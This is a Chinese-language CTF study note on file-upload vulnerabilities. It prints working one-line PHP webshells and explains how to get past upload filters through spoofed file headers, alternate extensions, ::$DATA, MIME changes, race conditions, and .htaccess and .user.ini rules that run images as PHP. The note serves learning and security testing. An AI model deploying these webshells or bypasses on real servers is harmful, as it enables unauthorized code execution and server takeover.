漏洞原理
概述
通過上傳一句話木馬,根據服務器返回的文件位置,向該路徑傳遞POST參數,控制服務器。
- 即webshell
<?php eval($_POST['a']); ?>
常見繞過
文件頭繞過
| 文件類型 | 文件頭HEX | 文件頭內容 |
|---|---|---|
| PNG | 89504E47 | .PNG |
| GIF | 474946383961 | GIF89a |
| JPEG | FFD8FF | ... |
.表示不可見內容
給php等文件添加文件頭繞過
- php、asp、jsp等文件只要任意部位有解析標籤就可以,文件頭加上一串字符不影響解析。
拓展名繞過
發現php後綴被攔截,可用其他的後綴在進行繞過。
- phtml、pht、php、php3、php4、php5
- 還有:大小寫繞過、點號繞過(win)、空格繞過(win)
::$DATA 繞過
(WIN)如果文件名+::$DATA會把::$DATA之後的數據當成文件流處理,不會檢測後綴名,且保持::$DATA之前的文件名,效果就是不檢查後綴名。
- 如:
a.php::$DATA與a.php等價
<? 繞過
<script language="php">
eval($_POST['zj'])
</script>
MIME
MIME類型用於HTTP協議,以告知服務器接收到的文件的類型。
可以通過抓包修改MIME類型,繞過驗證。
- 注意:對於圖片上傳可能白名單隻有jpeg,導致png也被禁用,測試注意不要只測png
條件競爭繞過
有些網站是先允許任何文件上傳,在上傳之後再驗證,如果驗證不通過再刪除文件。
但是,攻擊者可以利用上傳後和刪除前的時間大量發送請求,有可能能訪問到webshell
文件解壓繞過
通過修改壓縮包二進制文件,使其在解壓時出現錯誤,通過出錯前已經解壓出的一部分文件獲取webshell。
原理是:在發生解壓錯誤時,網站邏輯會進入異常處理的分支,而開發人員往往會忽視對已經解壓的文件進行檢驗。
解析為php
.htaccess
- 適用於Apache
上傳一個.htaccess文件將指定文件內容解析為php程序
<FilesMatch "zj.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini
- 適用於Nginx
指定一個文件(如zj.jpg),將該文件就會被包含在要執行的php文件中(如index.php),類似於在index.php中插入一句:include(zj.jpg);
上傳的圖片文件的地址其實指向了一個php文件:
- 例如
http://d2e89e76-3d3c-43ce-97ab-5a7db5826f78.node5.buuoj.cn/uploads/065831472858248584ff4993846d5065/index.php - zj.jpg 在 index.php 的頁面中,蟻劍也要連這個index.php
GIF89a
auto_prepend_file=zj.jpg
前端驗證
網頁彈窗顯然是前端驗證,直接抓包是沒有用的,因為前端驗證是在發送數據包給後端之前的,前端驗證發生錯誤直接return了,不會發包給後端。
解決:F12,刪除前端相應檢測代碼;假如是js腳本,(似乎chrome中刪了也沒用)可以直接在f12設置中,==禁用js功能!!!==
題目
- [極客大挑戰 2019]Upload
